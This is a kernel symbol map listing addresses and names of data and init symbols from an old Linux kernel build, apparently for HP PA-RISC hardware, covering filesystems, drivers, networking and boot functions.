1028c6d0 d proc_fd_operations
1028c710 d proc_fd_inode_operations
1028c750 d proc_base_operations
1028c790 d proc_base_inode_operations
1028c7d0 d proc_self_inode_operations
1028c810 d proc_file_operations
1028c850 d proc_link_inode_operations
1028c890 d proc_dentry_operations
1028c8a8 d proc_dir_operations
1028c8e8 d proc_dir_inode_operations
1028c928 d task_state_array
1028c940 D proc_kmsg_operations
1028c980 d proc_profile_operations
1028c9c0 d simple_ones___1
1028ca58 D proc_kcore_operations
1028ca98 d proc_fs_type
1028cab0 D warn_no_part
1028cab4 d check_part
1028cabc d first_time___0
1028cac0 d nibblemap
1028cb00 d ext2_filetype_table
1028cb08 D ext2_dir_operations
1028cb48 d ext2_max_sizes
1028cbb8 D ext2_file_operations
1028cbf8 D ext2_file_inode_operations
1028cc38 D ext2_aops
1028cc50 d ext2_type_by_mode
1028cc60 D ext2_dir_inode_operations
1028cca0 d ext2_sops
1028ccc8 d ext2_fs_type
1028cce0 D ext2_fast_symlink_inode_operations
1028cd20 d isofs_sops
1028cd48 d isofs_dentry_ops
1028cd78 d isofs_aops
1028cd90 d iso9660_fs_type
1028cda8 D isofs_dir_operations
1028cde8 D isofs_dir_inode_operations
1028ce28 d .LC0
1028ce58 D isofs_symlink_aops
1028ce70 d nfs_sops
1028ce98 D nfs_rpcstat
1028cec0 d nfs_version
1028cecc D nfs_program
1028cee0 d nfs_fs_type
1028cef8 D nfs_file_operations
1028cf38 D nfs_file_inode_operations
1028cf78 D nfs_file_aops
1028cf90 D nfs_wreq_lock
1028cf94 d nfs_nr_requests
1028cf98 D nfs_dir_operations
1028cfd8 D nfs_dir_inode_operations
1028d018 D nfs_dentry_operations
1028d030 D nfs_symlink_inode_operations
1028d070 D nfs_v2_clientops
1028d0cc d nfs_errtbl
1028d1bc d nfs_procedures
1028d324 D nfs_version2
1028d330 d flushd_queue
1028d338 D nfs_flushd_lock
1028d33c d nfs_delete_queue
1028d344 d mnt_procedures
1028d36c d mnt3_procedures
1028d394 d mnt_version1
1028d3a0 d mnt_version3
1028d3ac d mnt_version
1028d3bc D mnt_program
1028d3d0 d nlm_cookie
1028d3d4 d nlm_host_sema
1028d3e8 d nlmsvc_sema
1028d3fc d lockd_start
1028d410 d lockd_exit
1028d41c D nlm_timeout
1028d420 d warned___1
1028d424 d warned___2
1028d428 d nlmsvc_version1
1028d438 d nlmsvc_version3
1028d448 d nlmsvc_version
1028d458 D nlmsvc_program
1028d474 D nlmsvc_procedures
1028d794 d nlm_file_sema
1028d7a8 d nsm_procedures
1028d834 d nsm_version1
1028d840 d nsm_version
1028d848 D nsm_program
1028d85c d nlm_procedures
1028da3c d nlm_version1
1028da48 d nlm_version3
1028da54 d nlm_versions
1028da64 D nlm_program
1028da78 D msg_ctlmax
1028da7c D msg_ctlmnb
1028da80 D msg_ctlmni
1028da84 d msg_bytes
1028da88 d msg_hdrs
1028da8c D sem_ctls
1028da9c D shm_ctlmax
1028daa0 D shm_ctlall
1028daa4 D shm_ctlmni
1028daa8 d shm_file_operations
1028dae8 d shm_vm_ops
1028e000 d init_mmap
1028e040 d init_fs
1028e064 d init_files
1028e204 d init_signals
1028e60c D init_mm
1028f000 D swapper_pg_dir
10290000 D pg0
10292000 D tq_disk
10292008 D io_request_lock
1029200c d .LC15
10292034 D rd_size
10292038 D rd_blocksize
1029203c D rd_prompt
10292040 D mount_initrd
10292044 d initrd_fops
10292084 d fd_fops
10292098 d .LC36
1029209c d badmagic___0
102920a0 d badtty___1
102920a4 d tty_fops
102920e4 d hung_up_tty_fops
10292124 d tty_sem
10292138 d baud_table
102921b4 d n_baud_table
102921b8 D tty_ldisc_N_TTY
102921f8 d mem_fops
10292238 d kmem_fops
10292278 d null_fops
102922b8 d port_fops
102922f8 d zero_fops
10292338 d full_fops
10292378 d memory_fops
102923b8 d raw_fops
102923f8 d raw_ctl_fops
10292438 d misc_list
10292450 d misc_sem
10292464 d misc_fops
102924a4 d random_read_wakeup_thresh
102924a8 d random_write_wakeup_thresh
102924ac d poolinfo_table
1029256c d random_read_wait
10292578 d random_write_wait
10292584 D random_fops
102925c4 D urandom_fops
10292604 D random_table
10292738 D keyboard_type
1029273c D kd_mksound
10292740 d vt_activate_queue
1029274c d vcs_fops
1029278c d translations
10292f8c D dfont_unicount
1029308c D dfont_unitable
102932e0 d blankinterval
102932e4 D want_console
102932e8 D con_task_queue
102932f0 D color_table
10293300 D default_red
10293340 D default_grn
10293380 D default_blu
102933c0 D con_buf_sem
102933d4 d error___4
102933d8 D vt_console_driver
10293404 D console_tasklet
10293418 d sel_start
1029341c d inwordLut
1029343c d serial_version
10293440 d serial_revdate
10293444 d serial_name
10293448 d tq_serial
10293450 d uart_config
10293504 d rs_table
10296304 d tmp_buf_sem
10296318 d timedia_single_port
10296324 d timedia_dual_port
10296360 d timedia_quad_port
10296390 d timedia_eight_port
102963ac d timedia_data
102963d4 d pci_boards
102971c0 d info___1
102971c4 d sercons
102971f0 D keypress_wait
102971fc d npadch
10297200 d kbd
10297204 d key_handler
10297244 d spec_fn_table
10297294 d buf___0
10297298 d ret_diacr
102972a0 d pad_chars___1
102972a4 d app_map___2
102972a8 d cur_chars___3
102972ac d ledstate
102972b0 D keyboard_tasklet
102972c4 D plain_map
102973c4 D shift_map
102974c4 D altgr_map
102975c4 D ctrl_map
102976c4 D shift_ctrl_map
102977c4 D alt_map
102978c4 D ctrl_alt_map
102979c4 D key_maps
10297dc4 D keymap_count
10297dc8 D func_buf
10297e64 D funcbufptr
10297e68 D funcbufsize
10297e6c D funcbufleft
10297e70 D func_table
10298270 D accent_table
10298570 D accent_table_size
10298574 d gsc_ps2_kbd_ops
10298594 d keycode_translate
10298694 D hp_ps2kbd_sysrq_xlate
10298714 d high_keys
1029873c d e0_keys
102987bc D hp_plain_map
102988bc D hp_shift_map
102989bc D hp_altgr_map
10298abc D hp_ctrl_map
10298bbc D hp_shift_ctrl_map
10298cbc D hp_alt_map
10298dbc D hp_ctrl_alt_map
10298ebc d hil_kbd_ops
10298edc D sysrq_enabled
10298ee0 d devfs_handle
10298ee4 d lp_count
10298ee8 d lp_fops
10298f28 d parport_nr
10298f34 d reset
10298f38 d parport_ptr
10298f3c d lp_driver
10298f4c d gen_rtc_opened
10298f50 d gen_uie_on
10298f54 d gen_uie_data
10298f58 d gen_rtc_wait
10298f64 d gen_rtc_fops
10298fa4 d gen_rtc_dev
10298fbc d t21142_csr13
10298fc8 D t21142_csr14
10298fd4 d t21142_csr15
10298fe0 d eeprom_fixups
102991d8 d block_name
102991f0 d last_mediatable___0
102991f4 d last_ee_data___1
102991f8 d controller_index___2
102991fc d version
10299234 d max_interrupt_work
10299238 d rx_copybreak
1029923c d csr0
10299240 D tulip_debug
10299244 D tulip_tbl
10299370 d tulip_pci_tbl
102995d8 D t21040_csr13
102995e8 D t21041_csr13
102995f4 D t21041_csr14
10299600 D t21041_csr15
1029960c d last_phys_addr___1
10299614 d board_idx___4
10299618 d .LC63
10299628 d tulip_driver
10299648 d eth7_dev
10299778 d eth6_dev
102998a8 d eth5_dev
102999d8 d eth4_dev
10299b08 d eth3_dev
10299c38 d eth2_dev
10299d68 d eth1_dev
10299e98 d eth0_dev
10299fc8 D loopback_dev
1029a0f8 D dev_base
1029a0fc D dev_base_lock
1029a100 d version
1029a104 d i596_debug
1029a108 d rx_copybreak
1029a10c D init_setup
1029a11c d dma_consistent
1029a120 d rx_ring_size
1029a124 d ticks_limit
1029a128 d max_cmd_backlog
1029a12c D parport_default_timeslice
1029a130 D parport_default_spintime
1029a134 d portlist
1029a138 d portlist_tail
1029a13c D parportlist_lock
1029a140 d driver_chain
1029a144 D driverlist_lock
1029a148 d dead_ops
1029a1ac d parport_default_sysctl_table
1029a33c D parport_gsc_ops
1029a3a0 d parport_drivers_for
1029a3f0 d device_request_lock
1029a3f4 d scsi_bhqueue_lock
1029a3f8 d next_no___0
1029a3fc D scsi_hosts
1029a400 D scsi_host_no_list
1029a404 D scsi_hostlist
1029a408 D scsi_devicelist
1029a40c D max_scsi_hosts
1029a410 D next_scsi_host
1029a414 d generic_sense___0
1029a41c d tur_command___1
1029a424 d generic_sense
1029a42c d allocator_request_lock
1029a430 d dma_malloc_freelist
1029a434 d dma_sectors
1029a438 D scsi_dma_free_sectors
1029a43c D scsi_need_isa_buffer
1029a440 d dma_malloc_pages
1029a444 d device_list
1029a904 d max_scsi_luns
1029a908 d ncr_debug
1029a90c D sym53c8xx_lock
1029a910 d mp0
1029a9cc d first_host
1029a9d0 d driver_setup
1029aa70 d div_10M
1029aa8c d Symbios_trailer___1
1029aa94 d driver_template
1029ab00 d hosts_used
1029ab04 d lasi_scsi_drivers
1029ab70 D sim700_debug
1029ab74 d sim700_errors
1029ab78 d sim700_intrs
1029ab7c d ignore_ids
1029ab80 d opt_nodisc
1029ab84 d opt_noneg
1029ab88 d hosttype
1029ab8c d opt_base
1029ab90 d opt_irq
1029ab94 d dma_consistent
1029ab98 d SCRIPT
1029b04c d A_int_bad_msg1_used
1029b050 d A_int_bad_msg2_used
1029b054 d A_int_bad_msg3_used
1029b058 d A_int_cmd_bad_phase_used
1029b05c d A_int_cmd_complete_used
1029b060 d A_int_data_bad_phase_used
1029b064 d A_int_disc1_used
1029b068 d A_int_disc2_used
1029b06c d A_int_disc3_used
1029b070 d A_int_msg_sdtr1_used
1029b074 d A_int_msg_sdtr2_used
1029b078 d A_int_msg_sdtr3_used
1029b07c d A_int_no_msgout1_used
1029b080 d A_int_no_msgout2_used
1029b084 d A_int_no_msgout3_used
1029b088 d A_int_not_cmd_complete_used
1029b08c d A_int_not_rej_used
1029b090 d A_int_rej_msg1_used
1029b094 d A_int_rej_msg2_used
1029b098 d A_int_rej_msg3_used
1029b09c d A_int_resel_not_msgin_used
1029b0a0 d A_int_reselected_used
1029b0a4 d A_int_sel_no_ident_used
1029b0a8 d A_int_sel_not_cmd_used
1029b0ac d A_int_selected_used
1029b0b0 d A_int_status_not_msgin_used
1029b0b4 d A_int_test1a_used
1029b0b8 d A_int_test1b_used
1029b0b8 d A_msg_reject_used
1029b0c4 d A_reselected_identify_used
1029b0c8 d A_targ_cdb_used
1029b0cc d A_targ_cdb_cnt_used
1029b0d0 d A_targ_din_script_used
1029b0d4 d A_targ_dout_script_used
1029b0d8 d A_targ_msgin_used
1029b11c d A_targ_msgout_used
1029b12c d A_targ_msgout_cnt_used
1029b13c d A_targ_select_used
1029b140 d A_targ_status_used
1029b144 d A_test1_dst_used
1029b148 d A_test1_src_used
1029b14c d LABELPATCHES
1029b20c d EXTERNAL_PATCHES
1029b20c d INSTRUCTIONS
1029b210 d PATCHES
1029b214 d EXTERNAL_PATCHES_LEN
1029b218 d process_issue_queue_running
1029b21c d driver_template
1029b290 d hosts_used
1029b294 d zalon_id
1029b2a0 d pdc_result
1029b320 d zalon_scsi_drivers
1029b370 d ncr_debug
1029b374 D ncr53c8xx_lock
1029b378 d mp0
1029b434 d driver_setup
1029b4d4 d first_host
1029b4d8 d the_template
1029b4dc d div_10M
1029b4f8 d device_tab
1029b548 d driver_template
1029b5b4 d max_buffers
1029b5b8 d st_dev_arr_lock
1029b5bc d st_buffers
1029b5c0 d st_buffer_size
1029b5c4 d st_write_threshold
1029b5c8 d st_max_buffers
1029b5cc d st_max_sg_segs
1029b5d0 d scsi_tapes
1029b5d4 d st_template
1029b61c d reject_list
1029b67c d st_fops
1029b6bc d formats___0
1029b6cc d st_registered
1029b6d0 d sd_template
1029b718 d sd_fops
1029b72c d sd_gendisk
1029b75c d sd_gendisks
1029b760 d sr_template
1029b7a8 d sr_dops
1029b7e8 d loadmech___0
1029b808 d xa_test
1029b80c d sg_version_str
1029b810 d sg_version_num
1029b814 D sg_big_buff
1029b818 d def_reserved_size
1029b81c d sg_pool_secs_avail
1029b820 d dummy_cmdp
1029b824 d sg_dev_arr_lock
1029b828 d sg_template
1029b870 d sg_dev_arr
1029b874 d sg_fops
1029b8b4 d sg_registered___0
1029b8b8 d allow_ops
1029b8c4 d sg_proc_sgp
1029b8c8 d sg_proc_sg_dirname
1029b8cc d sg_proc_leaf_names
1029b8f0 d sg_proc_leaf_reads
1029b914 d sg_proc_leaf_writes
1029b938 d autoclose
1029b93c d lockdoor
1029b940 D cdrom_fops
1029b954 D cdrom_table
1029ba88 D cdrom_cdrom_table
1029bae0 D cdrom_root_table
1029bb38 D pci_root_buses
1029bb40 D pci_devices
1029bb48 d pci_drivers
1029bb50 d pci_compat_driver
1029bb70 d pci_lock
1029bb74 d pci_class_numbers
1029bc20 d pci_class_names
1029bd78 d proc_bus_pci_operations
1029bdb8 d linear_personality
1029bde0 d raid0_personality
1029be08 d retry_list_lock
1029be0c D raid1_retry_list
1029be10 d raid1_personality
1029be38 d raid5_personality
1029be60 d xor_block_8regs
1029be7c d xor_block_32regs
1029be98 d xor_block_8regs_p
1029beb4 d xor_block_32regs_p
1029bed0 d sysctl_speed_limit_min
1029bed4 d sysctl_speed_limit_max
1029bed8 d raid_table
1029bf5c d raid_dir_table
1029bfb4 d raid_root_table
1029c00c d md_gendisk
1029c03c d all_mddevs
1029c044 d device_names
1029c04c d nomem___0
1029c054 d all_raid_disks
1029c05c d pending_raid_disks
1029c064 d md_fops
1029c078 D resync_wait
1029c084 D md_notifier
1029c090 d name___1
1029c094 D proc_runway_root
1029c098 D proc_gsc_root
1029c09c d dino_drivers_for
1029c1bc d dino_cfg_ops
1029c1d4 D dino_port_ops
1029c1ec d dino_irq_ops
1029c1fc D dino_bios_ops
1029c204 d busdev_drivers_for
1029c270 d busdev_list
1029c274 D busdev_irq_ops
1029c284 d wax_driver_for
1029c2cc d lan_drivers_for
1029c338 d serial_drivers_for
1029c3c8 d hil_drivers_for
1029c410 d wax_eisa_drivers_for
1029c47c d wax_port_ops
1029c4c0 d socket_file_ops
1029c500 d sockets_in_use
1029c540 d sockfs_ops
1029c568 d .LC16
1029c574 d sock_fs_type
1029c58c d sockfs_dentry_operations
1029c5a4 d nargs
1029c5c0 D sysctl_wmem_max
1029c5c4 D sysctl_rmem_max
1029c5c8 D sysctl_wmem_default
1029c5cc D sysctl_rmem_default
1029c5d0 D sysctl_optmem_max
1029c5d4 D net_big_sklist_lock
1029c5d8 D sysctl_hot_list_len
1029c5dc d count___0
1029c5e0 D core_table
1029c848 D if_port_text
1029c864 d ptype_all
1029c868 d netdev_chain
1029c86c D netdev_nit
1029c870 D netdev_max_backlog
1029c874 D no_cong_thresh
1029c878 D no_cong
1029c87c D lo_cong
1029c880 D mod_cong
1029c884 d net_bh_lock___0
1029c888 d dev_boot_phase
1029c88c d dst_total
1029c890 d dst_lock
1029c894 d dst_gc_timer_inc
1029c898 d dst_gc_timer
1029c8ac D dst_dev_notifier
1029c8b8 d neigh_tbl_lock
1029c8bc D neigh_sysctl_template
1029cd0c D rtnl_sem
1029cd20 d net_rand_seed
1029cd24 D net_msg_cost
1029cd28 D net_msg_burst
1029cd2c d ratelimit_lock___0
1029cd30 d toks___1
1029cd34 D ether_table
1029cd60 D e802_table
1029cd90 D qdisc_tree_lock
1029cd94 D noop_qdisc_ops
1029cdd8 D noop_qdisc
1029ce38 D noqueue_qdisc_ops
1029ce78 D noqueue_qdisc
1029ced8 d pfifo_fast_ops
1029cf40 D ip_rt_min_delay
1029cf44 D ip_rt_max_delay
1029cf48 D ip_rt_gc_timeout
1029cf4c D ip_rt_gc_interval
1029cf50 D ip_rt_gc_min_interval
1029cf54 D ip_rt_redirect_number
1029cf58 D ip_rt_redirect_load
1029cf5c D ip_rt_redirect_silence
1029cf60 D ip_rt_error_cost
1029cf64 D ip_rt_error_burst
1029cf68 D ip_rt_gc_elasticity
1029cf6c D ip_rt_mtu_expires
1029cf70 D ip_rt_min_pmtu
1029cf74 D ip_rt_min_advmss
1029cf78 D ipv4_dst_ops
1029cfa4 D ip_tos2prio
1029cfb4 d rt_flush_lock
1029cfb8 d expire___1
1029cfbc d rt_peer_lock___5
1029cfc0 d ip_fb_id_lock___6
1029cfc4 d mtu_plateau
1029cfd8 D ipv4_route_table
1029d2f0 D inet_peer_idlock
1029d2f4 d peer_fake_node
1029d31c d peer_root
1029d320 d peer_pool_lock
1029d324 D inet_peer_threshold
1029d328 D inet_peer_minttl
1029d32c D inet_peer_maxttl
1029d330 D inet_peer_unused_tailp
1029d334 D inet_peer_unused_lock
1029d338 d peer_periodic_timer
1029d34c D inet_peer_gc_mintime
1029d350 D inet_peer_gc_maxtime
1029d354 d tcp_protocol
1029d36c d udp_protocol
1029d384 d icmp_protocol
1029d39c D inet_protocol_base
1029d3a0 D sysctl_ipfrag_high_thresh
1029d3a4 D sysctl_ipfrag_low_thresh
1029d3a8 D sysctl_ipfrag_time
1029d3ac d ipfrag_lock
1029d3b0 D ip_frag_nqueues
1029d3b4 D ip_frag_mem
1029d3b8 D sysctl_ip_dynaddr
1029d3bc D sysctl_ip_default_ttl
1029d3c0 d ip_packet_type
1029d3d4 D ip_ra_lock
1029d3d8 D sysctl_tcp_fin_timeout
1029d3dc D tcp_orphan_count
1029d3e0 D sysctl_tcp_wmem
1029d3ec D sysctl_tcp_rmem
1029d3f8 d new_state
1029d408 D sysctl_tcp_timestamps
1029d40c D sysctl_tcp_window_scaling
1029d410 D sysctl_tcp_sack
1029d414 D sysctl_tcp_fack
1029d418 D sysctl_tcp_reordering
1029d41c D sysctl_tcp_ecn
1029d420 D sysctl_tcp_dsack
1029d424 D sysctl_tcp_app_win
1029d428 D sysctl_tcp_adv_win_scale
1029d42c D sysctl_tcp_stdurg
1029d430 D sysctl_tcp_rfc1337
1029d434 D sysctl_tcp_max_orphans
1029d438 D sysctl_tcp_retrans_collapse
1029d43c D sysctl_tcp_syn_retries
1029d440 D sysctl_tcp_synack_retries
1029d444 D sysctl_tcp_keepalive_time
1029d448 D sysctl_tcp_keepalive_probes
1029d44c D sysctl_tcp_keepalive_intvl
1029d450 D sysctl_tcp_retries1
1029d454 D sysctl_tcp_retries2
1029d480 d tcp_socket
1029d4c0 D tcp_hashinfo
1029d5c0 D sysctl_local_port_range
1029d5c8 D tcp_port_rover
1029d5cc D sysctl_max_syn_backlog
1029d5d0 D or_ipv4
1029d5e4 D ipv4_specific
1029d614 D tcp_prot
1029d6c0 D sysctl_tcp_tw_recycle
1029d6c4 D sysctl_tcp_max_tw_buckets
1029d6c8 D sysctl_tcp_syncookies
1029d6cc D sysctl_tcp_abort_on_overflow
1029d6d0 D tcp_tw_count
1029d6d4 d tcp_tw_death_row_slot
1029d6d8 d tw_death_lock
1029d6dc d tcp_tw_timer
1029d6f0 d tcp_twcal_hand
1029d6f4 d tcp_twcal_timer
1029d708 D raw_v4_lock
1029d70c D raw_prot
1029d7b0 D udp_hash_lock
1029d7b4 D udp_prot
1029d858 d arp_generic_ops
1029d878 d arp_hh_ops
1029d898 d arp_direct_ops
1029d8b8 D arp_broken_ops
1029d8d8 D arp_tbl
1029da90 d arp_packet_type
1029daa4 D icmp_err_convert
1029db24 D sysctl_icmp_echo_ignore_all
1029db28 D sysctl_icmp_echo_ignore_broadcasts
1029db2c D sysctl_icmp_ignore_bogus_error_responses
1029db30 D icmp_socket
1029db34 d icmp_xmit_holder
1029db38 D sysctl_icmp_destunreach_time
1029db3c D sysctl_icmp_timeexceed_time
1029db40 D sysctl_icmp_paramprob_time
1029db44 D sysctl_icmp_echoreply_time
1029db48 d icmp_pointers
1029dcc4 D ipv4_devconf
1029dcf8 d ipv4_devconf_dflt
1029dd2c D inetdev_lock
1029dd30 D ip_netdev_notifier
1029dd3c d devinet_sysctl
1029e0dc D inet_stream_ops
1029e11c D inet_dgram_ops
1029e15c D inet_family_ops
1029e16c D sysctl_igmp_max_memberships
1029e170 d tcp_retr1_max
1029e174 d ip_local_port_range_min
1029e17c d ip_local_port_range_max
1029e184 D ipv4_table
1029ea74 D fib_inetaddr_notifier
1029ea80 D fib_netdev_notifier
1029ea8c d fib_info_lock
1029ea90 d fib_props
1029eaf8 d type2flags___0
1029eb28 d fib_hash_lock
1029eb2c d fn_hash_last_dflt
1029eb30 D sysctl_unix_max_dgram_qlen
1029eb34 D unix_table_lock
1029eb38 d unix_nr_socks
1029eb3c d ordernum___0
1029eb40 D unix_stream_ops
1029eb80 D unix_dgram_ops
1029ebc0 D unix_family_ops
1029ebd0 d gc_current
1029ebd4 D unix_tot_inflight
1029ebd8 d unix_gc_sem___0
1029ebec D unix_table
1029ec44 D unix_root_table
1029ec9c D unix_net_table
1029ecf4 d destroy_wait
1029ed00 D xprt_sock_lock
1029ed04 D xprt_lock
1029ed08 D rpc_xprt_pending
1029ed10 d xid___1
1029ed14 d schedq
1029ed1c d childq
1029ed24 d delay_queue
1029ed2c d rpciod_idle
1029ed38 d rpciod_killer
1029ed44 d rpciod_sema
1029ed58 D rpc_queue_lock
1029ed5c D rpc_sched_lock
1029ed60 d rpciod_running
1029ed74 d auth_flavors
1029ed94 D rpc_credcache_lock
1029ed98 D authnull_ops
1029edc0 D authunix_ops
1029ede8 d authtab
1029ee08 D pmap_lock
1029ee0c d pmap_procedures
1029ee5c d pmap_version2
1029ee68 d pmap_version
1029ee74 D pmap_program
1029ee88 d inited___0
1029ee8c d proc_net_rpc
1029ee90 d debug_table
1029ef6c d sunrpc_table
1029efc4 D net_table
1029f0cc D __atomic_lock
1029f0d0 D _ctype
1029f1d0 ? __exitcall_exit_shmem_fs
1029f1d4 ? __exitcall_exit_pipe_fs
1029f1d8 ? __exitcall_exit_som_binfmt
1029f1dc ? __exitcall_exit_script_binfmt
1029f1e0 ? __exitcall_exit_elf_binfmt
1029f1e4 ? __exitcall_exit_proc_fs
1029f1e8 ? __exitcall_exit_ext2_fs
1029f1ec ? __exitcall_exit_iso9660_fs
1029f1f0 ? __exitcall_rs_fini
1029f1f4 ? __exitcall_tulip_cleanup
1029f1f8 ? __exitcall_parport_gsc_exit_module
1029f1fc ? __exitcall_exit_scsi
1029f200 ? __exitcall_exit_this_scsi_driver
1029f204 ? __exitcall_exit_this_scsi_driver
1029f208 ? __exitcall_exit_this_scsi_driver
1029f20c ? __exitcall_exit_st
1029f210 ? __exitcall_exit_sd
1029f214 ? __exitcall_exit_sr
1029f218 ? __exitcall_exit_sg
1029f21c ? __exitcall_cdrom_exit
1029f220 ? __exitcall_linear_exit
1029f224 ? __exitcall_raid0_exit
1029f228 ? __exitcall_raid1_exit
1029f22c ? __exitcall_raid5_exit
1029f230 ? __exitcall_af_unix_exit
1029f240 A __start___ex_table
102a07f8 A __start___ksymtab
102a07f8 A __stop___ex_table
102a07f8 A __stop___ksymtab
102a4000 A __init_begin
102a4040 ? profile_setup
102a407c ? name_to_kdev_t
102a4130 ? root_dev_setup
102a4214 ? checksetup
102a42a4 ? calibrate_delay
102a4448 ? readonly
102a4474 ? readwrite
102a44a0 ? debug_kernel
102a44c4 ? quiet_kernel
102a44e8 ? parse_options
102a46bc ? start_kernel
102a4894 ? do_initcalls
102a48e0 ? do_basic_setup
102a49bc ? .L1525
102a4a60 ? .L1541
102a4ac0 ? reboot_setup
102a4ac4 ? mem_limit_func
102a4b8c ? setup_bootmem
102a4f74 ? mem_init
102a509c ? pagetable_init
102a52b4 ? gateway_init
102a532c ? paging_init
102a53f4 ? cache_init
102a5448 ? .L727
102a54a4 ? .L728
102a54d4 ? .L733
102a54e0 ? .L734
102a54ec ? register_fallback_cpu
102a55a0 ? collect_boot_cpu_data
102a55e4 ? .L875
102a55f4 ? .L876
102a5604 ? .L877
102a5634 ? .L878
102a56a0 ? .L883
102a56b0 ? .L884
102a56c4 ? .L885
102a5710 ? .L886
102a5710 ? setup_cmdline
102a57e8 ? dma_ops_init
102a5868 ? .L905
102a587c ? .L919
102a587c ? setup_arch
102a5900 ? .L921
102a5958 ? .L923
102a5958 ? check_ivt
102a5a08 ? trap_init
102a5a50 ? time_init
102a5b1c ? init_IRQ
102a5b34 ? pcxl_dma_init
102a5bd0 ? lba_init
102a5bf0 ? lba_driver_callback
102a5dbc ? iosapic_load_irt
102a5e8c ? iosapic_init
102a5eec ? sba_init
102a5f1c ? ccio_init
102a5f4c ? init_idle
102a5ff8 ? sched_init
102a6098 ? fork_init
102a60bc ? proc_caches_init
102a61e8 ? panic_setup
102a6214 ? console_setup
102a6268 ? .L643
102a63a4 ? .L667
102a63a4 ? softirq_init
102a642c ? reserve_setup
102a6514 ? sysctl_init
102a6544 ? uid_cache_init
102a65c4 ? signals_init
102a6610 ? page_cache_init
102a6748 ? kmem_cache_init
102a67c8 ? .L672
102a67fc ? .L675
102a67fc ? kmem_cache_sizes_init
102a6898 ? .L681
102a68e4 ? .L684
102a691c ? .L691
102a6938 ? .L692
102a6938 ? kmem_cpucache_init
102a6940 ? bootmem_bootmap_pages
102a6954 ? init_bootmem_core
102a69d4 ? reserve_bootmem_core
102a6a14 ? .L683
102a6ad0 ? .L698
102a6ad0 ? free_bootmem_core
102a6b08 ? .L700
102a6b9c ? .L706
102a6bc8 ? .L718
102a6be4 ? .L719
102a6be4 ? __alloc_bootmem_core
102a6c30 ? .L721
102a6ee4 ? .L775
102a6ee4 ? free_all_bootmem_core
102a7094 ? init_bootmem_node
102a70ac ? reserve_bootmem_node
102a70c8 ? free_bootmem_node
102a70e4 ? free_all_bootmem_node
102a70fc ? init_bootmem
102a7138 ? reserve_bootmem
102a7164 ? free_bootmem
102a7190 ? free_all_bootmem
102a71b0 ? __alloc_bootmem
102a723c ? __alloc_bootmem_node
102a7284 ? swap_setup
102a72cc ? kswapd_init
102a7320 ? free_area_init_core
102a781c ? free_area_init
102a7858 ? setup_mem_frac
102a78e4 ? free_area_init_node
102a7924 ? init_shmem_fs
102a7954 ? .L1118
102a799c ? .L1119
102a79a4 ? buffer_init
102a7b48 ? bdflush_init
102a7bcc ? .L2197
102a7bfc ? .L2199
102a7c20 ? .L2200
102a7c28 ? .L2201
102a7c28 ? mount_root
102a7cd8 ? .L1538
102a7db0 ? .L1562
102a7e00 ? .L1564
102a7e40 ? .L1571
102a7e90 ? .L1573
102a7ee8 ? .L1593
102a7f00 ? .L1594
102a7f18 ? .L1595
102a7f30 ? .L1596
102a7fd4 ? .L1597
102a80e8 ? change_root
102a8170 ? .L1736
102a8270 ? .L1748
102a8298 ? .L1757
102a82b8 ? .L1758
102a82e8 ? .L1739
102a8314 ? .L1741
102a8328 ? .L1759
102a8330 ? .L1760
102a8330 ? bdev_init
102a83a4 ? init_pipe_fs
102a83c8 ? .L929
102a8408 ? .L935
102a8410 ? fasync_init
102a8464 ? filelock_init
102a84c0 ? dcache_init
102a8644 ? vfs_caches_init
102a8710 ? inode_init
102a8898 ? kiobuf_setup
102a88e4 ? dnotify_init
102a8938 ? filesystem_setup
102a8950 ? init_som_binfmt
102a8970 ? init_script_binfmt
102a8990 ? init_elf_binfmt
102a89b0 ? proc_root_init
102a8a54 ? proc_tty_init
102a8b04 ? proc_misc_init
102a8c6c ? init_proc_fs
102a8c90 ? .L650
102a8cd0 ? .L656
102a8cd8 ? partition_setup
102a8d04 ? .L1597
102a8d1c ? .L1598
102a8d1c ? init_ext2_fs
102a8d3c ? init_iso9660_fs
102a8d5c ? root_nfs_parse_addr
102a8dcc ? .L810
102a8e20 ? .L817
102a8e2c ? root_nfs_parse
102a8fb4 ? root_nfs_name
102a90ec ? root_nfs_addr
102a914c ? root_nfs_init
102a918c ? nfs_root_setup
102a91e0 ? .L856
102a9234 ? .L859
102a9234 ? root_nfs_getport
102a92c4 ? root_nfs_ports
102a9320 ? .L867
102a93dc ? .L878
102a93ec ? root_nfs_get_handle
102a944c ? .L884
102a945c ? .L882
102a9484 ? .L885
102a949c ? .L886
102a94a0 ? nfs_root_data
102a9510 ? ipc_init
102a9538 ? ipc_init_ids
102a95f4 ? msg_init
102a9644 ? sem_init
102a969c ? shm_init
102a96e8 ? blk_dev_init
102a97a8 ? device_init
102a97e4 ? no_initrd
102a97f4 ? ramdisk_start_setup
102a9820 ? load_ramdisk
102a9854 ? prompt_ramdisk
102a9888 ? ramdisk_size
102a98b4 ? ramdisk_size2
102a98cc ? ramdisk_blocksize
102a98f8 ? rd_init
102a9ae0 ? identify_ramdisk_image
102a9c5c ? .L941
102a9cf4 ? .L958
102a9d78 ? .L959
102a9d80 ? rd_load_image
102a9f04 ? .L964
102a9f84 ? .L1014
102a9fdc ? .L972
102aa098 ? .L987
102aa20c ? .L1015
102aa224 ? .L1016
102aa234 ? .L1017
102aa250 ? .L1018
102aa26c ? rd_load_disk
102aa2b0 ? .L1019
102aa300 ? .L1024
102aa300 ? rd_load
102aa31c ? rd_load_secondary
102aa338 ? initrd_load
102aa360 ? malloc
102aa37c ? free
102aa394 ? gzip_mark
102aa398 ? gzip_release
102aa39c ? fill_inbuf
102aa41c ? flush_window
102aa4f4 ? error
102aa524 ? crd_load
102aa5ec ? .L1630
102aa61c ? .L1631
102aa620 ? console_init
102aa6b4 ? tty_init
102aa898 ? memory_devfs_register
102aa8ac ? chr_dev_init
102aa924 ? raw_init
102aa950 ? pty_init
102aaee8 ? misc_init
102aaf5c ? rand_initialize
102ab078 ? vcs_init
102ab0cc ? console_map_init
102ab10c ? .L1125
102ab130 ? .L1131
102ab130 ? con_init
102ab55c ? con_init_devfs
102ab5c0 ? printk_pnp_dev_id
102ab62c ? start_pci_pnp_board
102ab6b0 ? .L1815
102ab78c ? .L1833
102ab7b0 ? .L1834
102ab7d4 ? .L1835
102ab7d8 ? pci_plx9050_fn
102ab86c ? .L1842
102ab89c ? .L1845
102ab8a8 ? pci_siig10x_fn
102ab928 ? pci_siig20x_fn
102ab9dc ? pci_inteli960ni_fn
102aba40 ? pci_timedia_fn
102abad4 ? probe_serial_pci
102abbd0 ? rs_init
102abfd0 ? .L1932
102ac114 ? .L1958
102ac134 ? serial_console_setup
